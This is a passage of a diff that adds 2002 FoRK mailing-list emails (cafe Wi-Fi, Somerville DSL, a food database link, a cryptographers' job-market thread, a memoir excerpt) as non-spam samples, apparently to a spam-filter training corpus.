cheap [1], but +for soemone like me who's running a ~virtual corporation, it's well worth it. + +[1] https://accounts.tmobilebroadband.com/net_offers_promos.htm + + + +On Thu, Aug 15, 2002 at 04:51:07PM -0400, Luis Villa wrote: +> On Thu, 2002-08-15 at 16:38, Jesse wrote: +> > Strata just walked up to me in a cafe in Somerville, MA and +> > asked me how I was getting net here. And _then_ we figured out +> > that we have shared context. +> +> The obvious followup is 'there's a cafe in somerville with net access?' +> Luis [19 Pitman St.] +> http://xent.com/mailman/listinfo/fork +> + +-- +jesse reed vincent -- root@eruditorum.org -- jesse@fsck.com +70EBAC90: 2A07 FC22 7DB4 42C1 9D71 0108 41A3 3FB3 70EB AC90 + +autoconf is your friend until it mysteriously stops working, at which +point it is a snarling wolverine attached to your genitals by its teeth + (that said, it's better than most of the alternatives) -- Nathan Mehl +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01035.6b7ea0c2afc19e035db63b59228eb466 b/bayes/spamham/easy_ham_2/01035.6b7ea0c2afc19e035db63b59228eb466 new file mode 100644 index 0000000..a7277b2 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01035.6b7ea0c2afc19e035db63b59228eb466 @@ -0,0 +1,74 @@ +From fork-admin@xent.com Fri Aug 16 11:27:37 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B22DE441A8 + for ; Fri, 16 Aug 2002 06:03:28 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:03:28 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7FLo8719439 for ; + Thu, 15 Aug 2002 22:50:09 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id B688029409A; Thu, 15 Aug 2002 14:48:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain (h00045acfa2be.ne.client2.attbi.com + [65.96.178.138]) by xent.com (Postfix) with ESMTP id E5AFF294098 for + ; Thu, 15 Aug 2002 14:47:25 -0700 (PDT) +Received: (from louie@localhost) by localhost.localdomain (8.11.6/8.11.6) + id g7FLkvf05632; Thu, 15 Aug 2002 17:46:57 -0400 +X-Authentication-Warning: localhost.localdomain: louie set sender to + louie@ximian.com using -f +Subject: Re: It's a small world +From: Luis Villa +To: Jesse +Cc: fork@spamassassin.taint.org +In-Reply-To: <20020815213504.GO2724@pallas.fsck.com> +References: <20020815203806.GM2724@pallas.fsck.com> + <1029444667.5235.1.camel@localhost.localdomain> + <20020815213504.GO2724@pallas.fsck.com> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 +Message-Id: <1029448015.5235.50.camel@localhost.localdomain> +MIME-Version: 1.0 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 15 Aug 2002 17:46:55 -0400 + +On Thu, 2002-08-15 at 17:35, Jesse wrote: +> Short version: +> T-Mobile Broadband is in the process of wiring every starbucks in the area +> (T1 backhauled to some ~local POP + 802.11) as part of what I'm told is a +> national rollout. The Diesel is close enough to the Elm St starbucks for me +> to get reasonable net throughout most of the cafe. +> +> The rumor is that they'll be announcing that they've got boston covered on +> the 21st. I've heard from at least one source that they're actually going +> to announce a much wider national rollout at that time. It's not cheap [1], but +> for soemone like me who's running a ~virtual corporation, it's well worth it. +> +> [1] https://accounts.tmobilebroadband.com/net_offers_promos.htm + +Very nice. Not sure it's worthwhile to pay for that when I'm already +paying for cable modem at home, but... still nice to know I have the +option. + +FWIW, slummerville actually has the internet- not just broadband, but +actual broadband competition, which I gather is rare. I had ADSL and two +cable options when I moved in. + +Luis +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01036.650d6fe868554ee430f472b487904f65 b/bayes/spamham/easy_ham_2/01036.650d6fe868554ee430f472b487904f65 new file mode 100644 index 0000000..6b0036b --- /dev/null +++ b/bayes/spamham/easy_ham_2/01036.650d6fe868554ee430f472b487904f65 @@ -0,0 +1,75 @@ +From fork-admin@xent.com Fri Aug 16 11:27:48 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B7453441A9 + for ; Fri, 16 Aug 2002 06:03:29 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:03:29 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7FLsD719649 for ; + Thu, 15 Aug 2002 22:54:13 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 6689E2940BA; Thu, 15 Aug 2002 14:52:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from pallas.eruditorum.org (pallas.eruditorum.org + [63.251.136.85]) by xent.com (Postfix) with ESMTP id CC5182940B0 for + ; Thu, 15 Aug 2002 14:51:52 -0700 (PDT) +Received: by pallas.eruditorum.org (Postfix, from userid 500) id + 6BF1111184; Thu, 15 Aug 2002 17:53:08 -0400 (EDT) +From: Jesse +To: Luis Villa +Cc: fork@spamassassin.taint.org +Subject: Re: It's a small world +Message-Id: <20020815215308.GP2724@pallas.fsck.com> +References: <20020815203806.GM2724@pallas.fsck.com> + <1029444667.5235.1.camel@localhost.localdomain> + <20020815213504.GO2724@pallas.fsck.com> + <1029448015.5235.50.camel@localhost.localdomain> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +In-Reply-To: <1029448015.5235.50.camel@localhost.localdomain> +User-Agent: Mutt/1.5.1i +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 15 Aug 2002 17:53:08 -0400 + + +On Thu, Aug 15, 2002 at 05:46:55PM -0400, Luis Villa wrote: +> FWIW, slummerville actually has the internet- not just broadband, but +> actual broadband competition, which I gather is rare. I had ADSL and two +> cable options when I moved in. + + +Did you actually attempt to order the DSL? Large chunks of somerville have +advertised DSL service that can't actually be obtained. Excuses vary, from +"no available copper" to "full DSLAM", but the folks I know who've wanted +DSL around here have all failed, ending up either with ATTBB, RCN or an +honest-to-god T1. + + -j +> +> Luis +> + +-- +jesse reed vincent -- root@eruditorum.org -- jesse@fsck.com +70EBAC90: 2A07 FC22 7DB4 42C1 9D71 0108 41A3 3FB3 70EB AC90 + +This is scary. I'm imagining tracerouting you and seeing links like "Route +84" and "Route 9, Exit 14". Obviously, this is illness induced. + --Cana McCoy +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01037.bfe999fe03b3c6b5b7cc2360c793e5a0 b/bayes/spamham/easy_ham_2/01037.bfe999fe03b3c6b5b7cc2360c793e5a0 new file mode 100644 index 0000000..7a839b7 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01037.bfe999fe03b3c6b5b7cc2360c793e5a0 @@ -0,0 +1,74 @@ +From fork-admin@xent.com Fri Aug 16 11:27:54 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A4C0D441AA + for ; Fri, 16 Aug 2002 06:03:30 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:03:30 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7FM48719960 for ; + Thu, 15 Aug 2002 23:04:08 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 0091B29409A; Thu, 15 Aug 2002 15:02:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from localhost.localdomain (h00045acfa2be.ne.client2.attbi.com + [65.96.178.138]) by xent.com (Postfix) with ESMTP id 97B07294098 for + ; Thu, 15 Aug 2002 15:01:34 -0700 (PDT) +Received: (from louie@localhost) by localhost.localdomain (8.11.6/8.11.6) + id g7FM16W05669; Thu, 15 Aug 2002 18:01:06 -0400 +X-Authentication-Warning: localhost.localdomain: louie set sender to + louie@ximian.com using -f +Subject: Re: It's a small world +From: Luis Villa +To: Jesse +Cc: fork@spamassassin.taint.org +In-Reply-To: <20020815215308.GP2724@pallas.fsck.com> +References: <20020815203806.GM2724@pallas.fsck.com> + <1029444667.5235.1.camel@localhost.localdomain> + <20020815213504.GO2724@pallas.fsck.com> + <1029448015.5235.50.camel@localhost.localdomain> + <20020815215308.GP2724@pallas.fsck.com> +Content-Type: text/plain +Content-Transfer-Encoding: 7bit +X-Mailer: Ximian Evolution 1.0.8 +Message-Id: <1029448866.5235.59.camel@localhost.localdomain> +MIME-Version: 1.0 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: 15 Aug 2002 18:01:06 -0400 + +On Thu, 2002-08-15 at 17:53, Jesse wrote: +> +> On Thu, Aug 15, 2002 at 05:46:55PM -0400, Luis Villa wrote: +> > FWIW, slummerville actually has the internet- not just broadband, but +> > actual broadband competition, which I gather is rare. I had ADSL and two +> > cable options when I moved in. +> +> +> Did you actually attempt to order the DSL? Large chunks of somerville have +> advertised DSL service that can't actually be obtained. Excuses vary, from +> "no available copper" to "full DSLAM", but the folks I know who've wanted +> DSL around here have all failed, ending up either with ATTBB, RCN or an +> honest-to-god T1. + +No. My past experiences with DSL have generally been miserable so I went +with at&t digital cable[1] + cable modem. Still, even the hypothetical +option was a lot better than what I had in the theoretically +tech-friendly Triangle in NC. +Luis + +[1]sports junkie +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01038.38efccc7258387ba2ae5a6549a2d5f67 b/bayes/spamham/easy_ham_2/01038.38efccc7258387ba2ae5a6549a2d5f67 new file mode 100644 index 0000000..3184343 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01038.38efccc7258387ba2ae5a6549a2d5f67 @@ -0,0 +1,51 @@ +From fork-admin@xent.com Fri Aug 16 11:28:05 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2AA7C441AC + for ; Fri, 16 Aug 2002 06:03:32 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:03:32 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7G2c8a31957 for ; + Fri, 16 Aug 2002 03:38:09 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 6C5E52940AC; Thu, 15 Aug 2002 19:36:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mithral.com (watcher.mithral.com [204.153.244.1]) by + xent.com (Postfix) with SMTP id B4CBA294098 for ; + Thu, 15 Aug 2002 19:35:50 -0700 (PDT) +Received: (qmail 15642 invoked by uid 1111); 16 Aug 2002 02:36:57 -0000 +From: "Adam L. Beberg" +To: +Subject: Food bits +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 15 Aug 2002 19:36:57 -0700 (PDT) + +OK, this site rocks... + +http://www.nal.usda.gov/fnic/foodcomp/Data/SR15/sr15.html + +You are what you eat :) + +- Adam L. "Duncan" Beberg + http://www.mithral.com/~beberg/ + beberg@mithral.com + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01039.8e4ad6f84ab81de71de2de8b34e300f5 b/bayes/spamham/easy_ham_2/01039.8e4ad6f84ab81de71de2de8b34e300f5 new file mode 100644 index 0000000..2ad5636 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01039.8e4ad6f84ab81de71de2de8b34e300f5 @@ -0,0 +1,59 @@ +From fork-admin@xent.com Fri Aug 16 11:28:13 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 07CD4441AD + for ; Fri, 16 Aug 2002 06:03:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:03:33 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7G387a00350 for ; + Fri, 16 Aug 2002 04:08:08 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 8530329409A; Thu, 15 Aug 2002 20:06:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 1C37B294098 for ; Thu, + 15 Aug 2002 20:05:33 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id 02EE23ED63; + Thu, 15 Aug 2002 23:08:20 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id 018AC3EC00; Thu, 15 Aug 2002 23:08:19 -0400 (EDT) +From: Tom +To: "Adam L. Beberg" +Cc: fork@spamassassin.taint.org +Subject: Re: Food bits +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Thu, 15 Aug 2002 23:08:19 -0400 (EDT) + +On Thu, 15 Aug 2002, Adam L. Beberg wrote: + +--]You are what you eat :) + +Thus we are what Alton Brown tells us we are. + +Food Heat BROWN + +all praises and braises. + +-tom + + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01040.65571596a7ca51227652db808cc26ffb b/bayes/spamham/easy_ham_2/01040.65571596a7ca51227652db808cc26ffb new file mode 100644 index 0000000..ed9c639 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01040.65571596a7ca51227652db808cc26ffb @@ -0,0 +1,141 @@ +From fork-admin@xent.com Fri Aug 16 11:48:38 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C03BB43C60 + for ; Fri, 16 Aug 2002 06:18:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 11:18:09 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7GAHBa12609 for ; + Fri, 16 Aug 2002 11:17:11 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id A799E29409A; Fri, 16 Aug 2002 03:15:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from venus.phpwebhosting.com (venus.phpwebhosting.com + [64.29.16.27]) by xent.com (Postfix) with SMTP id 968ED294098 for + ; Fri, 16 Aug 2002 03:14:18 -0700 (PDT) +Received: (qmail 30691 invoked by uid 508); 16 Aug 2002 10:15:37 -0000 +Received: from unknown (HELO hydrogen.leitl.org) (62.226.149.118) by + venus.phpwebhosting.com with SMTP; 16 Aug 2002 10:15:37 -0000 +Received: from localhost (eugen@localhost) by hydrogen.leitl.org + (8.11.6/8.11.6) with ESMTP id g7GAFYb30560 for ; + Fri, 16 Aug 2002 12:15:35 +0200 +X-Authentication-Warning: hydrogen.leitl.org: eugen owned process doing -bs +From: Eugen Leitl +To: forkit! +Subject: employment market for applied cryptographers? (fwd) +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 16 Aug 2002 12:15:34 +0200 (CEST) + + + +-- +-- Eugen* Leitl leitl +______________________________________________________________ +ICBMTO: N48 04'14.8'' E11 36'41.2'' http://eugen.leitl.org +83E5CA02: EDE4 7193 0833 A96B 07A7 1A88 AA58 0E89 83E5 CA02 + + +---------- Forwarded message ---------- +Date: Fri, 16 Aug 2002 02:23:05 +0100 +From: Adam Back +To: Cryptography +Cc: Cypherpunks , Adam Back +Subject: employment market for applied cryptographers? + +On the employment situation... it seems that a lot of applied +cryptographers are currently unemployed (Tim Dierks, Joseph, a few +ex-colleagues, and friends who asked if I had any leads, the spate of +recent "security consultant" .sigs, plus I heard that a straw poll of +attenders at the codecon conference earlier this year showed close to +50% out of work). + +Are there any more definitive security industry stats? Are applied +crypto people suffering higher rates of unemployment than general +application programmers? (From my statistically too small sample of +acquaintances it might appear so.) + +If this is so, why is it? + +- you might think the physical security push following the world +political instability worries following Sep 11th would be accompanied +by a corresponding information security push -- jittery companies +improving their disaster recovery and to a lesser extent info sec +plans. + +- governments are still harping on the info-war hype, national +information infrastructure protection, and the US Information Security +Czar Clarke making grandiose pronouncements about how industry ought +to do various things (that the USG spent the last 10 years doing it's +best to frustrate industry from doing with it's dumb export laws) + +- even Microsoft has decided to make a play of cleaning up it's +security act (you'd wonder if this was in fact a cover for Palladium +which I think is likely a big play for them in terms of future control +points and (anti-)competitive strategy -- as well as obviously a play +for the home entertainment system space with DRM) + +However these reasons are perhaps more than cancelled by: + +- dot-com bubble (though I saw some news reports earlier that though +there is lots of churn in programmers in general, that long term +unemployment rates were not that elevated in general) + +- perhaps security infrastructure and software upgrades are the first +things to be canned when cash runs short? + +- software security related contract employees laid off ahead of +full-timers? Certainly contracting seems to be flat in general, and +especially in crypto software contracts look few and far between. At +least in the UK some security people are employed in that way (not +familiar with north america). + +- PKI seems to have fizzled compared to earlier exaggerated +expectations, presumably lots of applied crypto jobs went at PKI +companies downsizing. (If you ask me over use of ASN.1 and adoption +of broken over complex and ill-defined ITU standards X.500, X.509 +delayed deployment schedules by order of magnitude over what was +strictly necessary and contributed to interoperability problems and I +think significantly to the flop of PKI -- if it's that hard because of +the broken tech, people will just do something else.) + +- custom crypto and security related software development is perhaps +weighted towards dot-coms that just crashed. + +- big one probably: lack of measurability of security -- developers +with no to limited crypto know-how are probably doing (and bodging) +most of the crypto development that gets done in general, certainly +contributing to the crappy state of crypto in software. So probably +failure to realise this issue or perhaps just not caring, or lack of +financial incentives to care on the part of software developers. +Microsoft is really good at this one. The number of times they +re-used RC4 keys in different protocols is amazing! + + +Other explanations? Statistics? Sample-of-one stories? + +Adam +-- +yes, still employed in sofware security industry; and in addition have +been doing crypto consulting since 97 (http://www.cypherspace.net/) if +you have any interesting applied crypto projects; reference +commissions paid. + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01041.1f981a5aa068f43bf951410f3c9f62ca b/bayes/spamham/easy_ham_2/01041.1f981a5aa068f43bf951410f3c9f62ca new file mode 100644 index 0000000..b3f712d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01041.1f981a5aa068f43bf951410f3c9f62ca @@ -0,0 +1,224 @@ +From fork-admin@xent.com Fri Aug 16 15:44:01 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EE7A543C34 + for ; Fri, 16 Aug 2002 10:43:59 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 16 Aug 2002 15:44:00 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7GEhBa22976 for ; + Fri, 16 Aug 2002 15:43:12 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 9A71F29409A; Fri, 16 Aug 2002 07:41:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp03.vsnl.net (smtp03.vsnl.net [203.197.12.9]) by + xent.com (Postfix) with ESMTP id 6367C294098 for ; + Fri, 16 Aug 2002 07:40:09 -0700 (PDT) +Received: from darksun1 ([203.197.12.9]) by smtp03.vsnl.net (Netscape + Messaging Server 4.15) with ESMTP id H0XY5402.GNW for ; + Fri, 16 Aug 2002 20:11:28 +0530 +Received: from ([203.200.112.95]) by smtp03.vsnl.net (InterScan E-Mail + VirusWall Unix); Fri, 16 Aug 2002 20:11:28 +0530 (IST) +Message-Id: <007501c24533$c235ce70$5f70c8cb@darksun1> +From: "Nalin nal.sav Savara" +To: +Subject: inspiring article by Howard Jonas who founded IDT +MIME-Version: 1.0 +Content-Type: multipart/alternative; + boundary="----=_NextPart_000_0072_01C24561.DAA02DB0" +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 5.00.2919.6700 +X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6700 +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 16 Aug 2002 20:16:50 +0530 + +This is a multi-part message in MIME format. + +------=_NextPart_000_0072_01C24561.DAA02DB0 +Content-Type: text/plain; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + +Hi People, +I'm rejoining Fork after a long hiatus, and inspired by the kinds of = +stuff Rohit and Adam used to post once upon a time... here's a little = +something that's damn inspiring... + +Nalin + +http://www.howardsbook.com/ch01/01.html + +Chapter One +One Finger for Onions=20 +On March 15, 1996, I made over a hundred million dollars. That was the = +day my company, IDT, one of the world's largest Internet and alternative = +telecommunications providers, went public. As IDT's founder, president, = +and majority shareholder, I was instantly rich beyond my wildest dreams. = +People ask me if this was the greatest moment in my business life. It = +wasn't. + +Four months later, on July 18, 1996, we released a new technology, a = +breakthrough that would eventually cut the cost of international calls = +by a remarkable 95 percent. That day Sara Grosvenor, the = +great-granddaughter of Alexander Graham Bell, joined us in New York to = +use our new technology in order to place the first phone call ever over = +the network to Susan Cheever, the great-granddaughter of Thomas Watson, = +in London. + +Within twenty-four hours of Ms. Grosvenor saying "Come here, Ms. Watson, = +I need to see you" over our system, CNN, CNBC, and newspapers had spread = +word of the development to investors and potential users and partners = +around the world. Combined with a more than fivefold increase in our = +quarterly revenues for the second year in a row, IDT's stock price = +started to move upward again. Many people who saw me glowing that = +morning asked if this was the greatest moment of my business life. It = +wasn't. + +The greatest moment actually occurred approximately twenty-seven years = +earlier on the morning of July 23, 1970. That was the morning I pushed = +my newly built hot dog stand past Joe and Vinny's butcher shop on = +Eastchester Road in the Bronx. Only two months before, Joe had driven me = +from my after-school job in the butcher shop by forcing me to eat five = +pounds of rice pudding (a task that took me close to two hours) after = +catching me sampling the pudding while I waited on a customer at the = +deli counter. + +I couldn't resist stopping in front of the butcher shop on my way to the = +spot I'd picked out three-quarters of a mile away to set up my stand. As = +Joe, Vinny, and Joe's nephew, Patsy, came out to see the new stand, I = +was gloating over the fact that I was now just as independent in = +business as they were. Nobody could make me clean out the rotten chicken = +tank anymore. Nobody could send me five miles away on the delivery bike = +in the snow to deliver ribs to a rich finicky lady who would just send = +them back to be trimmed, and never tipped more than a quarter. Nobody = +could make me lay in the sawdust and dig ground-up bones, blood, and fat = +out of the meat band saw. And, most importantly, nobody could do all = +this while poking fun at what a jerk I was to get all the dirty jobs. I = +was only fourteen years old, and the wheels would fall off my homemade = +hot dog stand many times before that summer ended, but that day, in my = +mind, I was as rich as a Rockefeller. + + + +------=_NextPart_000_0072_01C24561.DAA02DB0 +Content-Type: text/html; + charset="iso-8859-1" +Content-Transfer-Encoding: quoted-printable + + + + + + + + +
Hi People,
+
I'm rejoining Fork after a long hiatus, = +and=20 +inspired by the kinds of stuff Rohit and Adam used to post once upon a = +time...=20 +here's a little something that's damn inspiring...
+
 
+
Nalin
+
 
+
http://www.howardsbook.c= +om/ch01/01.html
+
 
+
Chapter = +One
One Finger for=20 +Onions
+
+

On March 15, 1996, I made over a hundred million = +dollars. That=20 +was the day my company, IDT, one of the world’s largest Internet = +and alternative=20 +telecommunications providers, went public. As IDT’s founder, = +president, and=20 +majority shareholder, I was instantly rich beyond my wildest dreams. = +People ask=20 +me if this was the greatest moment in my business life. It = +wasn’t.

+

Four months later, on July 18, 1996, we released a new = + +technology, a breakthrough that would eventually cut the cost of = +international=20 +calls by a remarkable 95 percent. That day Sara Grosvenor, the=20 +great-granddaughter of Alexander Graham Bell, joined us in New York to = +use our=20 +new technology in order to place the first phone call ever over the = +network to=20 +Susan Cheever, the great-granddaughter of Thomas Watson, in = +London.

+

Within twenty-four hours of Ms. Grosvenor saying = +“Come here, Ms.=20 +Watson, I need to see you” over our system, CNN, CNBC, and = +newspapers had spread=20 +word of the development to investors and potential users and partners = +around the=20 +world. Combined with a more than fivefold increase in our quarterly = +revenues for=20 +the second year in a row, IDT’s stock price started to move upward = +again. Many=20 +people who saw me glowing that morning asked if this was the greatest = +moment of=20 +my business life. It wasn’t.

+

The greatest moment actually occurred approximately = +twenty-seven=20 +years earlier on the morning of July 23, 1970. That was the morning I = +pushed my=20 +newly built hot dog stand past Joe and Vinny’s butcher shop on = +Eastchester Road=20 +in the Bronx. Only two months before, Joe had driven me from my = +after-school job=20 +in the butcher shop by forcing me to eat five pounds of rice pudding (a = +task=20 +that took me close to two hours) after catching me sampling the pudding = +while I=20 +waited on a customer at the deli counter.

+

I couldn’t resist stopping in front of the = +butcher shop on my=20 +way to the spot I’d picked out three-quarters of a mile away to = +set up my stand.=20 +As Joe, Vinny, and Joe’s nephew, Patsy, came out to see the new = +stand, I was=20 +gloating over the fact that I was now just as independent in business as = +they=20 +were. Nobody could make me clean out the rotten chicken tank anymore. = +Nobody=20 +could send me five miles away on the delivery bike in the snow to = +deliver ribs=20 +to a rich finicky lady who would just send them back to be trimmed, and = +never=20 +tipped more than a quarter. Nobody could make me lay in the sawdust and = +dig=20 +ground-up bones, blood, and fat out of the meat band saw. And, most = +importantly,=20 +nobody could do all this while poking fun at what a jerk I was to get = +all the=20 +dirty jobs. I was only fourteen years old, and the wheels would fall off = +my=20 +homemade hot dog stand many times before that summer ended, but that = +day, in my=20 +mind, I was as rich as a Rockefeller.

+

 + +------=_NextPart_000_0072_01C24561.DAA02DB0-- + +http://xent.com/mailman/listinfo/fork + diff --git a/bayes/spamham/easy_ham_2/01042.7cf9c2664d2666e767db7b5bec055911 b/bayes/spamham/easy_ham_2/01042.7cf9c2664d2666e767db7b5bec055911 new file mode 100644 index 0000000..2de96ac --- /dev/null +++ b/bayes/spamham/easy_ham_2/01042.7cf9c2664d2666e767db7b5bec055911 @@ -0,0 +1,92 @@ +From fork-admin@xent.com Mon Aug 19 11:03:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 0453D441A1 + for ; Mon, 19 Aug 2002 05:54:47 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:54:48 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g7GMMC605701 for ; + Fri, 16 Aug 2002 23:22:13 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 555CF2940B5; Fri, 16 Aug 2002 15:20:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from relay.pair.com (relay1.pair.com [209.68.1.20]) by xent.com + (Postfix) with SMTP id A4A45294098 for ; Fri, + 16 Aug 2002 15:19:32 -0700 (PDT) +Received: (qmail 71540 invoked from network); 16 Aug 2002 22:20:54 -0000 +Received: from adsl-66-124-225-138.dsl.snfc21.pacbell.net (HELO golden) + (66.124.225.138) by relay1.pair.com with SMTP; 16 Aug 2002 22:20:54 -0000 